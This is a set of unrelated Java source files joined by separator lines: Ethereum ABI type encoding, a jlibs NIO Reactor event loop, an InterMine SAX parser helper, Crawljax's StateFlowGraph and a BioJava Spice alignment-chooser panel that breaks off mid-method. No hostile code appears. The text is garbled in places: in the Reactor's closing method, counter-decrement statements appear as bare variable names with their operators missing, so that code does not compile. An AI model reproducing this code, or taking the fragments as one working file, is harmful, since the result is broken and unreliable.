return ByteUtil.merge(IntType.encodeInt(bb.length), ret);
}
@Override
public Object decode(byte[] encoded, int offset) {
int len = IntType.decodeInt(encoded, offset).intValue();
if (len == 0) return new byte[0];
offset += 32;
return Arrays.copyOfRange(encoded, offset, offset + len);
}
@Override
public boolean isDynamicType() {
return true;
}
}
public static class StringType extends BytesType {
public StringType() {
super("string");
}
@Override
public byte[] encode(Object value) {
if (!(value instanceof String)) throw new RuntimeException("String value expected for type 'string'");
return super.encode(((String)value).getBytes(StandardCharsets.UTF_8));
}
@Override
public Object decode(byte[] encoded, int offset) {
return new String((byte[]) super.decode(encoded, offset), StandardCharsets.UTF_8);
}
}
public static class Bytes32Type extends Type {
public Bytes32Type(String s) {
super(s);
}
@Override
public byte[] encode(Object value) {
if (value instanceof Number) {
BigInteger bigInt = new BigInteger(value.toString());
return IntType.encodeInt(bigInt);
} else if (value instanceof String) {
byte[] ret = new byte[32];
byte[] bytes = ((String) value).getBytes(StandardCharsets.UTF_8);
System.arraycopy(bytes, 0, ret, 0, bytes.length);
return ret;
}
return new byte[0];
}
@Override
public Object decode(byte[] encoded, int offset) {
return Arrays.copyOfRange(encoded, offset, offset + getFixedSize());
}
}
public static class AddressType extends IntType {
public AddressType() {
super("address");
}
@Override
public byte[] encode(Object value) {
if (value instanceof String && !((String)value).startsWith("0x")) {
// address is supposed to be always in hex
value = "0x" + value;
}
byte[] addr = super.encode(value);
for (int i = 0; i < 12; i++) {
if (addr[i] != 0) {
throw new RuntimeException("Invalid address (should be 20 bytes length): " + Hex.toHexString(addr));
}
}
return addr;
}
}
public static class IntType extends Type {
public IntType(String name) {
super(name);
}
@Override
public String getCanonicalName() {
if (getName().equals("int")) return "int256";
if (getName().equals("uint")) return "uint256";
return super.getCanonicalName();
}
@Override
public byte[] encode(Object value) {
BigInteger bigInt;
if (value instanceof String) {
String s = ((String)value).toLowerCase().trim();
int radix = 10;
if (s.startsWith("0x")) {
s = s.substring(2);
radix = 16;
} else if (s.contains("a") || s.contains("b") || s.contains("c") ||
s.contains("d") || s.contains("e") || s.contains("f")) {
radix = 16;
}
bigInt = new BigInteger(s, radix);
} else if (value instanceof BigInteger) {
bigInt = (BigInteger) value;
} else if (value instanceof Number) {
bigInt = new BigInteger(value.toString());
} else {
throw new RuntimeException("Invalid value for type '" + this + "': " + value + " (" + value.getClass() + ")");
}
return encodeInt(bigInt);
}
@Override
public Object decode(byte[] encoded, int offset) {
return decodeInt(encoded, offset);
}
public static BigInteger decodeInt(byte[] encoded, int offset) {
return new BigInteger(Arrays.copyOfRange(encoded, offset, offset + 32));
}
public static byte[] encodeInt(int i) {
return encodeInt(new BigInteger("" + i));
}
public static byte[] encodeInt(BigInteger bigInt) {
byte[] ret = new byte[32];
Arrays.fill(ret, bigInt.signum() < 0 ? (byte) 0xFF : 0);
byte[] bytes = bigInt.toByteArray();
System.arraycopy(bytes, 0, ret, 32 - bytes.length, bytes.length);
return ret;
}
}
public static class BoolType extends IntType {
public BoolType() {
super("bool");
}
@Override
public byte[] encode(Object value) {
if (!(value instanceof Boolean)) throw new RuntimeException("Wrong value for bool type: " + value);
return super.encode(value == Boolean.TRUE ? 1 : 0);
}
@Override
public Object decode(byte[] encoded, int offset) {
return Boolean.valueOf(((Number) super.decode(encoded, offset)).intValue() != 0);
}
}
public static class Param {
public boolean indexed;
public String name;
public Type type;
}
enum FunctionType {
constructor,
function,
event
}
public static class Function {
public boolean anonymous;
public boolean constant;
public String name;
public Param[] inputs;
public Param[] outputs;
public FunctionType type;
private Function() {}
public byte[] encode(Object ... args) {
return ByteUtil.merge(encodeSignature(), encodeArguments(args));
}
public byte[] encodeArguments(Object ... args) {
if (args.length > inputs.length) throw new RuntimeException("Too many arguments: " + args.length + " > " + inputs.length);
int staticSize = 0;
int dynamicCnt = 0;
// calculating static size and number of dynamic params
for (int i = 0; i < args.length; i++) {
Param param = inputs[i];
if (param.type.isDynamicType()) {
dynamicCnt++;
}
staticSize += param.type.getFixedSize();
}
byte[][] bb = new byte[args.length + dynamicCnt][];
int curDynamicPtr = staticSize;
int curDynamicCnt = 0;
for (int i = 0; i < args.length; i++) {
if (inputs[i].type.isDynamicType()) {
byte[] dynBB = inputs[i].type.encode(args[i]);
bb[i] = IntType.encodeInt(curDynamicPtr);
bb[args.length + curDynamicCnt] = dynBB;
curDynamicCnt++;
curDynamicPtr += dynBB.length;
} else {
bb[i] = inputs[i].type.encode(args[i]);
}
}
return ByteUtil.merge(bb);
}
private Object[] decode(byte[] encoded, Param[] params) {
Object[] ret = new Object[params.length];
int off = 0;
for (int i = 0; i < params.length; i++) {
if (params[i].type.isDynamicType()) {
ret[i] = params[i].type.decode(encoded, IntType.decodeInt(encoded, off).intValue());
} else {
ret[i] = params[i].type.decode(encoded, off);
}
off += params[i].type.getFixedSize();
}
return ret;
}
public Object[] decode(byte[] encoded) {
return decode(subarray(encoded, 4, encoded.length), inputs);
}
public Object[] decodeResult(byte[] encodedRet) {
return decode(encodedRet, outputs);
}
public String formatSignature() {
StringBuilder paramsTypes = new StringBuilder();
for (Param param : inputs) {
paramsTypes.append(param.type.getCanonicalName()).append(",");
}
return format("%s(%s)", name, stripEnd(paramsTypes.toString(), ","));
}
public byte[] encodeSignature() {
String signature = formatSignature();
byte[] sha3Fingerprint = sha3(signature.getBytes());
return Arrays.copyOfRange(sha3Fingerprint, 0, 4);
}
@Override
public String toString() {
return formatSignature();
}
public static Function fromJsonInterface(String json) {
try {
return new ObjectMapper().readValue(json, Function.class);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static Function fromSignature(String funcName, String ... paramTypes) {
return fromSignature(funcName, paramTypes, new String[0]);
}
public static Function fromSignature(String funcName, String[] paramTypes, String[] resultTypes) {
Function ret = new Function();
ret.name = funcName;
ret.constant = false;
ret.type = FunctionType.function;
ret.inputs = new Param[paramTypes.length];
for (int i = 0; i < paramTypes.length; i++) {
ret.inputs[i] = new Param();
ret.inputs[i].name = "param" + i;
ret.inputs[i].type = Type.getType(paramTypes[i]);
}
ret.outputs = new Param[resultTypes.length];
for (int i = 0; i < resultTypes.length; i++) {
ret.outputs[i] = new Param();
ret.outputs[i].name = "res" + i;
ret.outputs[i].type = Type.getType(resultTypes[i]);
}
return ret;
}
}
public static class Contract {
public Contract(String jsonInterface) {
try {
functions = new ObjectMapper().readValue(jsonInterface, Function[].class);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public Function getByName(String name) {
for (Function function : functions) {
if (name.equals(function.name)) {
return function;
}
}
return null;
}
public Function[] functions;
}
}
|
package jlibs.nio;
import jlibs.core.lang.ImpossibleException;
import jlibs.core.lang.Waiter;
import jlibs.nio.channels.impl.SelectableChannel;
import jlibs.nio.channels.impl.SelectableInputChannel;
import jlibs.nio.channels.impl.SelectableOutputChannel;
import javax.management.MBeanServer;
import javax.management.MXBean;
import javax.management.ObjectName;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.management.ManagementFactory;
import java.nio.channels.SelectionKey;
import java.nio.channels.Selector;
import java.nio.channels.SocketChannel;
import java.util.*;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.function.Consumer;
import java.util.stream.Collectors;
import static java.nio.channels.SelectionKey.*;
/**
* @author Santhosh Kumar Tekuri
*/
public final class Reactor{
static final AtomicInteger ID_GENERATOR = new AtomicInteger(-1);
long lastAcceptedClientID;
long lastConnectableClientID;
public final int id;
Selector selector;
public Reactor() throws IOException{
this.id = ID_GENERATOR.incrementAndGet();
executionID = "R"+id;
selector = Selector.open();
toString = "Reactor"+id;
Reactors.reactors.add(this);
}
private final String toString;
public String toString(){
return toString;
}
private Consumer<Throwable> exceptionHandler;
public void setExceptionHandler(Consumer<Throwable> exceptionHandler){
this.exceptionHandler = exceptionHandler;
}
public void handleException(Throwable thr){
if(thr==null)
return;
if(Debugger.DEBUG){
Debugger.println(this+".handleException("+thr+"){");
System.setErr(new PrintStream(System.out){
@Override
public void println(String line){
Debugger.println(line, System.out);
}
});
Debugger.println("}");
}
try{
if(exceptionHandler!=null)
exceptionHandler.accept(thr);
else{
System.err.println("Unexpected error during "+getExecutionID()+":");
thr.printStackTrace();
}
}catch(Throwable thr1){
thr1.printStackTrace();
}
if(Debugger.DEBUG){
Debugger.println("}");
System.setErr(System.out);
}
}
private volatile Deque<Runnable> tasks = new ArrayDeque<>();
private Deque<Runnable> tempTasks = new ArrayDeque<>();
public synchronized void invokeLater(Runnable task){
tasks.push(task);
selector.wakeup();
}
public void invokeAndWait(Runnable task) throws InterruptedException{
if(Reactor.current()==this)
task.run();
else{
task = new Waiter(task);
synchronized(task){
invokeLater(task);
task.wait();
}
}
}
void runTasks(){
while(!tasks.isEmpty()){
synchronized(this){
Deque<Runnable> temp = tasks;
tasks = tempTasks;
tempTasks = temp;
}
while(!tempTasks.isEmpty()){
try{
activeClient = null;
tempTasks.pop().run();
}catch(Throwable thr){
handleException(thr);
}
}
}
}
final List<Server> servers = new ArrayList<Server>();
public int serversCount(){
return servers.size();
}
public boolean isRegistered(Server server){
return servers.contains(server);
}
public void register(final Server server) throws IOException{
validate();
if(server.channel.keyFor(selector)==null){
server.channel.register(selector, OP_ACCEPT, server);
servers.add(server);
if(objectName!=null)
server.enableJMX();
}
}
public void unregister(Server server){
servers.remove(server);
SelectionKey key = server.channel.keyFor(selector);
if(key!=null && key.isValid())
key.cancel();
}
public Client newClient() throws IOException{
SocketChannel channel = SocketChannel.open();
try{
return new Client(this, channel, null);
}catch(IOException ex){
try{
channel.close();
}catch(IOException ex1){
handleException(ex1);
}
throw ex;
}
}
int acceptedClients;
int connectionPendingClients;
int connectedClients;
public int acceptedClientsCount(){
return acceptedClients;
}
public int connectionPendingClientsCount(){
return connectionPendingClients;
}
public int connectedClientsCount(){
return connectedClients;
}
public final ClientPool clientPool = new ClientPool(this);
public final BufferPool bufferPool = new BufferPool();
final TimeoutTracker timeoutTracker = new TimeoutTracker();
private Client readyListHead;
void addToReadyList(Client client){
if(client.readyPrev==null && client.readyNext==null){
if(Debugger.IO)
Debugger.println(client+".addToReadyList()");
if(readyListHead==null){
client.readyPrev = client;
client.readyNext = client;
}else{
client.readyNext = readyListHead;
client.readyPrev = readyListHead.poolPrev;
readyListHead.poolPrev = client;
}
readyListHead = client;
}
}
void processReadyList(){
while(readyListHead!=null){
Client removed = readyListHead;
if(readyListHead.readyNext==readyListHead && readyListHead.readyPrev==readyListHead){
readyListHead = null;
}else{
readyListHead = readyListHead.readyNext;
readyListHead.readyPrev = removed.readyPrev;
readyListHead.readyPrev.readyNext = readyListHead;
}
removed.readyPrev = null;
removed.readyNext = null;
activeClient = removed;
removed.process();
}
}
public void start(){
new ReactorThread().start();
}
public static Reactor current(){
Thread thread = Thread.currentThread();
if(thread instanceof ReactorThread)
return ((ReactorThread)thread).reactor();
else
return null;
}
private final class ReactorThread extends Thread implements Thread.UncaughtExceptionHandler{
ReactorThread(){
super(Reactor.this.toString);
setUncaughtExceptionHandler(this);
}
Reactor reactor(){
return Reactor.this;
}
@Override
public void run(){
Client client;
while(true){
try{
if(readyListHead!=null)
processReadyList();
if(!tasks.isEmpty())
runTasks();
if(isShutdown()){
selector.close();
if(Debugger.IO)
Debugger.println(Reactor.this+".shutdown");
synchronized(shutdownLock){
shutdownLock.notifyAll();
}
Reactors.reactors.remove(Reactor.this);
return;
}
boolean tracking = timeoutTracker.isTracking();
long selectTimeout = tracking ? 1000 : 0;
if(Debugger.IO)
Debugger.println(Reactor.this+".select("+selectTimeout+"){");
int selected = selector.select(selectTimeout);
if(tracking)
timeoutTracker.time = System.currentTimeMillis();
if(selected>0){
Set<SelectionKey> selectedKeys = selector.selectedKeys();
for(SelectionKey key: selectedKeys){
if(key.attachment() instanceof Client){
client = (Client)key.attachment();
activeClient = client;
if(client.heapIndex!=-1){
assert client.poolPrev==null && client.poolNext==null;
timeoutTracker.untrack(client);
}
if(key.isValid()){
if(Debugger.IO)
Debugger.println(client+".process{");
client.process();
if(Debugger.IO)
Debugger.println("}");
}
}else{
Server server = (Server)key.attachment();
if(key.isValid()){
activeClient = null;
server.process(Reactor.this);
}
}
}
selectedKeys.clear();
}
if(Debugger.IO)
Debugger.println("}");
if(tracking){
while((client=timeoutTracker.next())!=null){
if(client.poolPrev!=null && client.poolNext!=null){
clientPool.remove(client);
client.close();
}else
client.processTimeout();
}
}
}catch(Throwable ex){
handleException(ex);
}
}
}
@Override
public void uncaughtException(Thread thread, Throwable throwable){
handleException(throwable);
assert !thread.isAlive();
new ReactorThread().start();
}
}
private boolean shutdownInProgress;
private Runnable shutdownInitializer = () -> {
shutdownInProgress = true;
if(Debugger.IO)
Debugger.println(Reactor.this+".shutdownInitialized: servers="+serversCount()+
" connectedClients="+connectedClients+
" connectionPendingClients="+connectionPendingClients+
" acceptedClients="+acceptedClients);
while(servers.size()>0)
unregister(servers.get(0));
};
private Runnable forceShutdown = () -> {
for(SelectionKey key: selector.keys()){
try{
key.channel().close();
}catch(IOException ex){
handleException(ex);
}
}
connectedClients = connectionPendingClients = acceptedClients = 0;
};
public void shutdown(){
shutdown(false);
}
public void kill(){
shutdown(true);
}
public void shutdown(boolean force){
if(isShutdownPending() || isShutdown())
return;
invokeLater(shutdownInitializer);
if(force)
invokeLater(forceShutdown);
if(Debugger.IO)
Debugger.println(this+".shutdownRequested");
}
public boolean isShutdownPending(){
return shutdownInProgress &&
(serversCount()!=0 || connectedClients!=0 || connectionPendingClients!=0 || acceptedClients!=0);
}
public boolean isShutdown(){
return connectedClients==0 && connectionPendingClients==0 && acceptedClients==0
&& shutdownInProgress && serversCount()==0;
}
protected void validate() throws IOException{
if(isShutdownPending())
throw new IOException("shutdown in progress");
if(isShutdown())
throw new IOException("already shutdown");
}
public void shutdownOnExit(final boolean force){
if(!isShutdown()){
Runtime.getRuntime().addShutdownHook(new Thread(){
@Override
public void run(){
try{
shutdownAndWait(force);
}catch (InterruptedException ex){
handleException(ex);
}
}
});
}
}
private final Object shutdownLock = new Object();
public void waitForShutdown() throws InterruptedException{
synchronized(shutdownLock){
if(!isShutdown())
shutdownLock.wait();
}
}
public void shutdownAndWait(boolean force) throws InterruptedException{
synchronized(shutdownLock){
shutdown(force);
if(!isShutdown())
shutdownLock.wait();
}
}
private ObjectName objectName;
public void enableJMX(){
MBeanServer mbeanServer = ManagementFactory.getPlatformMBeanServer();
try{
objectName = new ObjectName("jlibs.nio:type=Reactor,id="+id);
if(!mbeanServer.isRegistered(objectName))
mbeanServer.registerMBean(createMBean(), objectName);
}catch(Exception ex){
throw new ImpossibleException(ex);
}
for(Server server: servers)
server.enableJMX();
}
public ReactorMXBean createMBean(){
return new ReactorMXBean(){
@Override
public int getServersCount(){
return serversCount();
}
@Override
public int getAcceptedClientsCount(){
return acceptedClients;
}
@Override
public int getConnectionPendingClientsCount(){
return connectionPendingClients;
}
@Override
public int getConnectedClientsCount(){
return connectedClients;
}
@Override
public int getPooledClientsCount(){
return clientPool.count();
}
@Override
@SuppressWarnings("unchecked")
public Map<String, Integer> getPool(){
Map<String, Integer> map[] = new Map[1];
try{
invokeAndWait(()->{
map[0] = clientPool.entries.values().stream()
.filter(t -> t.count>0)
.collect(Collectors.toMap(t -> t.key, t -> t.count));
});
}catch(InterruptedException ex){
throw new RuntimeException(ex);
}
return map[0];
}
};
}
@MXBean
public static interface ReactorMXBean{
public int getServersCount();
public int getAcceptedClientsCount();
public int getConnectionPendingClientsCount();
public int getConnectedClientsCount();
public int getPooledClientsCount();
public Map<String, Integer> getPool();
}
@MXBean
public static interface ServerMXBean{
public String getType();
public int getConnectedClientsCount();
public boolean isOpen();
public void close() throws IOException;
}
Client activeClient;
public Client getActiveClient(){
return activeClient;
}
final String executionID;
public String getExecutionID(){
return activeClient==null ? executionID : activeClient.getExecutionID();
}
Internal internal = new Internal();
public class Internal{
public void closing(Client client){
Server server = client.acceptedFrom;
if(server!=null){
acceptedClients
int connectedClients = server.connectedClients.decrementAndGet();
if(connectedClients==0 && !server.isOpen())
server.disableJMX();
}else if(client.isConnected())
connectedClients
else if(client.isConnectionPending())
connectionPendingClients
}
public void track(Client client){
timeoutTracker.track(client);
}
public void addToReadyList(SelectableChannel channel){
Client client = channel.getClient();
int interests = channel.interestOps();
int readyOps = channel.selfReadyOps();
if((readyOps&OP_READ)!=0 && (interests&OP_READ)!=0)
client.readyInputChannel = (SelectableInputChannel)channel;
if((readyOps&OP_WRITE)!=0 && (interests&OP_WRITE)!=0)
client.readyOutputChannel = (SelectableOutputChannel)channel;
Reactor.this.addToReadyList(client);
}
}
}
|
package org.intermine.util;
import java.io.IOException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;
/**
* Basic SAX Parser
*
* @author Mark Woodbridge
*/
public class SAXParser
{
/**
* Parse the an xml file
* @param is the inputsource to parse
* @param handler the SAX event handler to use
* @throws SAXException if an error occurs during parsing
* @throws IOException if an error occurs reading from the InputSource
* @throws ParserConfigurationException if there is an error in the config
*/
public static void parse(InputSource is, DefaultHandler handler) throws SAXException,
IOException, ParserConfigurationException {
try {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setValidating(true);
factory.newSAXParser().parse(is, handler);
} catch (ParserConfigurationException e) {
ParserConfigurationException e2 = new ParserConfigurationException("The underlying "
+ "parser does not support the requested features");
e2.initCause(e);
throw e2;
} catch (SAXException e) {
SAXException e2 = new SAXException("Error parsing XML document");
e2.initCause(e);
throw e2;
}
}
}
|
package com.crawljax.core.state;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.concurrent.atomic.AtomicInteger;
import net.jcip.annotations.GuardedBy;
import org.apache.commons.math.stat.descriptive.moment.Mean;
import org.apache.log4j.Logger;
import org.jgrapht.DirectedGraph;
import org.jgrapht.GraphPath;
import org.jgrapht.alg.DijkstraShortestPath;
import org.jgrapht.alg.KShortestPaths;
import org.jgrapht.graph.DirectedMultigraph;
/**
* The State-Flow Graph is a directed graph with states on the vertices and clickables on the edges.
*
* @author mesbah
* @version $Id$
*/
public class StateFlowGraph {
private static final Logger LOGGER = Logger.getLogger(StateFlowGraph.class.getName());
private final DirectedGraph<StateVertix, Eventable> sfg;
/**
* Intermediate counter for the number of states, not relaying on getAllStates.size() because of
* Thread-safety.
*/
private final AtomicInteger stateCounter = new AtomicInteger(1);
/**
* The constructor.
*
* @param initialState
* the state to start from.
*/
public StateFlowGraph(StateVertix initialState) {
sfg = new DirectedMultigraph<StateVertix, Eventable>(Eventable.class);
sfg.addVertex(initialState);
}
/**
* Adds a state (as a vertix) to the State-Flow Graph if not already present. More formally,
* adds the specified vertex, v, to this graph if this graph contains no vertex u such that
* u.equals(v). If this graph already contains such vertex, the call leaves this graph unchanged
* and returns false. In combination with the restriction on constructors, this ensures that
* graphs never contain duplicate vertices. Throws java.lang.NullPointerException - if the
* specified vertex is null.
*
* @param stateVertix
* the state to be added.
* @return the clone if one is detected null otherwise.
* @see org.jgrapht.Graph#addVertex(Object)
*/
@GuardedBy("sfg")
public StateVertix addState(StateVertix stateVertix) {
synchronized (sfg) {
if (!sfg.addVertex(stateVertix)) {
// Graph already contained the vertix
return this.getStateInGraph(stateVertix);
} else {
/**
* A new State has been added so check to see if the name is correct, remember this
* is the only place states can be added and we are now locked so getAllStates.size
* works correctly.
*/
// the -1 is for the "index" state.
int totalNumberOfStates = this.getAllStates().size() - 1;
String correctName =
makeStateName(totalNumberOfStates, stateVertix.isGuidedCrawling());
if (!stateVertix.getName().equals("index")
&& !stateVertix.getName().equals(correctName)) {
LOGGER.info("Correcting state name from " + stateVertix.getName() + " to "
+ correctName);
stateVertix.setName(correctName);
}
}
stateCounter.set(this.getAllStates().size() - 1);
}
return null;
}
@GuardedBy("sfg")
public boolean addEdge(StateVertix sourceVert, StateVertix targetVert, Eventable clickable) {
synchronized (sfg) {
// TODO Ali; Why is this code (if-stmt) here? Its the same as what happens in sfg.addEge
// imo (21-01-10 Stefan).
if (sfg.containsEdge(sourceVert, targetVert)
&& sfg.getAllEdges(sourceVert, targetVert).contains(clickable)) {
return false;
}
return sfg.addEdge(sourceVert, targetVert, clickable);
}
}
/**
* @return the string representation of the graph.
* @see org.jgrapht.DirectedGraph#toString()
*/
@Override
public String toString() {
return sfg.toString();
}
/**
* Returns a set of all clickables outgoing from the specified vertex.
*
* @param stateVertix
* the state vertix.
* @return a set of the outgoing edges (clickables) of the stateVertix.
* @see org.jgrapht.DirectedGraph#outgoingEdgesOf(Object)
*/
public Set<Eventable> getOutgoingClickables(StateVertix stateVertix) {
return sfg.outgoingEdgesOf(stateVertix);
}
/**
* Returns a set of all edges incoming into the specified vertex.
*
* @param stateVertix
* the state vertix.
* @return a set of the incoming edges (clickables) of the stateVertix.
* @see org.jgrapht.DirectedGraph#incomingEdgesOf(Object)
*/
public Set<Eventable> getIncomingClickable(StateVertix stateVertix) {
return sfg.incomingEdgesOf(stateVertix);
}
/**
* TODO: DOCUMENT ME!
*
* @param stateVertix
* the state.
* @return the set of outgoing states from the stateVertix.
*/
public Set<StateVertix> getOutgoingStates(StateVertix stateVertix) {
final Set<StateVertix> result = new HashSet<StateVertix>();
for (Eventable c : getOutgoingClickables(stateVertix)) {
result.add(sfg.getEdgeTarget(c));
}
return result;
}
/**
* @param clickable
* the edge.
* @return the target state of this edge.
*/
public StateVertix getTargetState(Eventable clickable) {
return sfg.getEdgeTarget(clickable);
}
/**
* Is it possible to go from s1 -> s2?
*
* @param source
* the source state.
* @param target
* the target state.
* @return true if it is possible (edge exists in graph) to go from source to target.
*/
@GuardedBy("sfg")
public boolean canGoTo(StateVertix source, StateVertix target) {
synchronized (sfg) {
return sfg.containsEdge(source, target) || sfg.containsEdge(target, source);
}
}
/**
* Convenience method to find the Dijkstra shortest path between two states on the graph.
*
* @param start
* the start state.
* @param end
* the end state.
* @return a list of shortest path of clickables from the state to the end
*/
public List<Eventable> getShortestPath(StateVertix start, StateVertix end) {
return DijkstraShortestPath.findPathBetween(sfg, start, end);
}
/**
* Return all the states in the StateFlowGraph.
*
* @return all the states on the graph.
*/
public Set<StateVertix> getAllStates() {
return sfg.vertexSet();
}
/**
* Return all the edges in the StateFlowGraph.
*
* @return a Set of all edges in the StateFlowGraph
*/
public Set<Eventable> getAllEdges() {
return sfg.edgeSet();
}
/**
* Retrieve the copy of a state from the StateFlowGraph for a given StateVertix. Basically it
* performs v.equals(u).
*
* @param state
* the StateVertix to search
* @return the copy of the StateVertix in the StateFlowGraph where v.equals(u)
*/
private StateVertix getStateInGraph(StateVertix state) {
Set<StateVertix> states = getAllStates();
for (StateVertix st : states) {
if (state.equals(st)) {
return st;
}
}
return null;
}
/**
* @return Dom string average size (byte).
*/
public int getMeanStateStringSize() {
Mean mean = new Mean();
List<Integer> list = new ArrayList<Integer>();
for (StateVertix state : getAllStates()) {
list.add(new Integer(state.getDomSize()));
}
/* calculate the mean */
for (Integer num : list) {
mean.increment(num.intValue());
}
return new Double(mean.getResult()).intValue();
}
/**
* @return the state-flow graph.
*/
public DirectedGraph<StateVertix, Eventable> getSfg() {
return sfg;
}
/**
* @param state
* The starting state.
* @return A list of the deepest states (states with no outgoing edges).
*/
public List<StateVertix> getDeepStates(StateVertix state) {
final Set<String> visitedStates = new HashSet<String>();
final List<StateVertix> deepStates = new ArrayList<StateVertix>();
traverse(visitedStates, deepStates, state);
return deepStates;
}
private void traverse(Set<String> visitedStates, List<StateVertix> deepStates,
StateVertix state) {
visitedStates.add(state.getName());
Set<StateVertix> outgoingSet = getOutgoingStates(state);
if ((outgoingSet == null) || outgoingSet.isEmpty()) {
deepStates.add(state);
} else {
if (cyclic(visitedStates, outgoingSet)) {
deepStates.add(state);
} else {
for (StateVertix st : outgoingSet) {
if (!visitedStates.contains(st.getName())) {
traverse(visitedStates, deepStates, st);
}
}
}
}
}
private boolean cyclic(Set<String> visitedStates, Set<StateVertix> outgoingSet) {
int i = 0;
for (StateVertix state : outgoingSet) {
if (visitedStates.contains(state.getName())) {
i++;
}
}
return i == outgoingSet.size();
}
/**
* This method returns all possible paths from the index state using the Kshortest paths.
*
* @param index
* the initial state.
* @return a list of GraphPath lists.
*/
public List<List<GraphPath<StateVertix, Eventable>>> getAllPossiblePaths(StateVertix index) {
final List<List<GraphPath<StateVertix, Eventable>>> results =
new ArrayList<List<GraphPath<StateVertix, Eventable>>>();
final KShortestPaths<StateVertix, Eventable> kPaths =
new KShortestPaths<StateVertix, Eventable>(this.sfg, index, Integer.MAX_VALUE);
// System.out.println(sfg.toString());
for (StateVertix state : getDeepStates(index)) {
// System.out.println("Deep State: " + state.getName());
try {
List<GraphPath<StateVertix, Eventable>> paths = kPaths.getPaths(state);
results.add(paths);
} catch (Exception e) {
LOGGER.error("Error with " + state.toString(), e);
}
}
return results;
}
/**
* Return the name of the (new)State. By using the AtomicInteger the stateCounter is thread-safe
*
* @return State name the name of the state
*/
public String getNewStateName() {
stateCounter.getAndIncrement();
String state = makeStateName(stateCounter.get(), false);
return state;
}
/**
* Make a new state name given its id. Separated to get a central point when changing the names
* of states. The automatic state names start with "state" and guided ones with "guide".
*
* @param id
* the id where this name needs to be for.
* @return the String containing the new name.
*/
private String makeStateName(int id, boolean guided) {
if (guided) {
return "guided" + id;
}
return "state" + id;
}
}
|
package org.biojava.spice.gui.aligchooser;
import java.awt.Color;
import java.awt.Dimension;
import java.awt.Point;
import java.awt.Toolkit;
import java.awt.event.ItemEvent;
import java.awt.event.ItemListener;
import java.awt.event.KeyAdapter;
import java.awt.event.KeyEvent;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.NoSuchElementException;
import java.util.logging.Logger;
import javax.swing.BorderFactory;
import javax.swing.Box;
import javax.swing.ImageIcon;
import javax.swing.JCheckBox;
import javax.swing.JMenu;
import javax.swing.JMenuItem;
import javax.swing.JScrollPane;
import javax.swing.JTextField;
//import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.UIManager;
import javax.swing.border.Border;
import org.biojava.bio.Annotation;
import org.biojava.bio.structure.Chain;
import org.biojava.bio.structure.Structure;
import org.biojava.bio.structure.StructureException;
import org.biojava.bio.structure.jama.Matrix;
import org.biojava.spice.ResourceManager;
import org.biojava.spice.SpiceApplication;
import org.biojava.spice.alignment.StructureAlignment;
import org.biojava.spice.config.SpiceDefaults;
import org.biojava.spice.jmol.StructurePanel;
import org.biojava.spice.jmol.StructurePanelListener;
import org.biojava.spice.manypanel.eventmodel.StructureAlignmentListener;
import org.biojava.dasobert.eventmodel.SequenceEvent;
import org.biojava.dasobert.eventmodel.SequenceListener;
import org.biojava.dasobert.eventmodel.StructureEvent;
import org.biojava.dasobert.eventmodel.StructureListener;
import org.jmol.api.JmolViewer;
import javax.vecmath.Matrix3f;
/** a JPanel that contains radio buttons to choose, which structures to show superimposed
*
* @author Andreas Prlic
* @since 10:14:51 AM
* @version %I% %G%
*/
public class StructureAlignmentChooser
extends JPanel
implements ItemListener,
StructureAlignmentListener {
static final long serialVersionUID = 65937284545329877l;
public static Logger logger = Logger.getLogger(SpiceDefaults.LOGGER);
List checkButtons;
StructureAlignment structureAlignment;
Box vBox;
List structureListeners;
List pdbSequenceListeners;
int referenceStructure; // the structure at that position is the first one
JTextField searchBox;
JScrollPane scroller;
StructurePanel structurePanel;
public final static float radiansPerDegree = (float) (2 * Math.PI / 360);
public final static float degreesPerRadian = (float) (360 / (2 * Math.PI));
boolean sortReverse;
JMenu parent;
JMenuItem sort;
JMenuItem filter;
ImageIcon deleteIcon;
public StructureAlignmentChooser(JMenu parent) {
super();
this.parent = parent;
structureListeners = new ArrayList();
structureAlignment = new StructureAlignment(null);
checkButtons = new ArrayList();
pdbSequenceListeners = new ArrayList();
vBox = Box.createVerticalBox();
this.add(vBox);
referenceStructure = -1;
searchBox = new JTextField();
searchBox.setEditable(true);
searchBox.setMaximumSize(new Dimension(Short.MAX_VALUE,30));
searchBox.addKeyListener(new MyKeyListener(this));
deleteIcon = SpiceApplication.createImageIcon(ResourceManager.getString("org.biojava.spice.Icons.EditDelete"));
}
public void setStructurePanel(StructurePanel panel){
this.structurePanel = panel;
}
public void setScroller(JScrollPane scroll){
this.scroller = scroll;
}
public void setSortReverse(boolean direction){
sortReverse = direction;
}
protected JScrollPane getScroller(){
return scroller;
}
public JTextField getSearchBox() {
return searchBox;
}
public ImageIcon getDeleteIcon() {
return deleteIcon;
}
public void setDeleteIcon(ImageIcon deleteIcon) {
this.deleteIcon = deleteIcon;
}
public void clearListeners(){
structureAlignment = new StructureAlignment(null);
structureListeners.clear();
pdbSequenceListeners.clear();
parent = null;
}
public void addStructureListener(StructureListener li){
structureListeners.add(li);
}
public void addPDBSequenceListener(SequenceListener li){
pdbSequenceListeners.add(li);
}
private void clearButtons(){
Iterator iter = checkButtons.iterator();
while (iter.hasNext()){
JCheckBox b = (JCheckBox)iter.next();
b.removeItemListener(this);
vBox.remove(b);
}
checkButtons.clear();
vBox.repaint();
}
public StructureAlignment getStructureAlignment(){
return structureAlignment;
}
private void updateMenuItems(){
if ( parent == null) {
return;
}
if ( sort != null)
parent.remove(sort);
if ( filter != null)
parent.remove(filter);
AlignmentSortPopup sorter = new AlignmentSortPopup(structureAlignment, this, false);
AlignmentFilterActionListener filterAction = new AlignmentFilterActionListener(this);
sort = MenuAlignmentListener.getSortMenuFromAlignment(structureAlignment.getAlignment(),sorter);
parent.add(sort);
filter = MenuAlignmentListener.getFilterMenuFromAlignment(structureAlignment.getAlignment(),filterAction);
parent.add(filter);
}
private String getButtonTooltip(Annotation anno){
String tooltip = "";
List details = new ArrayList();
// System.out.println(anno);
try {
details = (List) anno.getProperty("details");
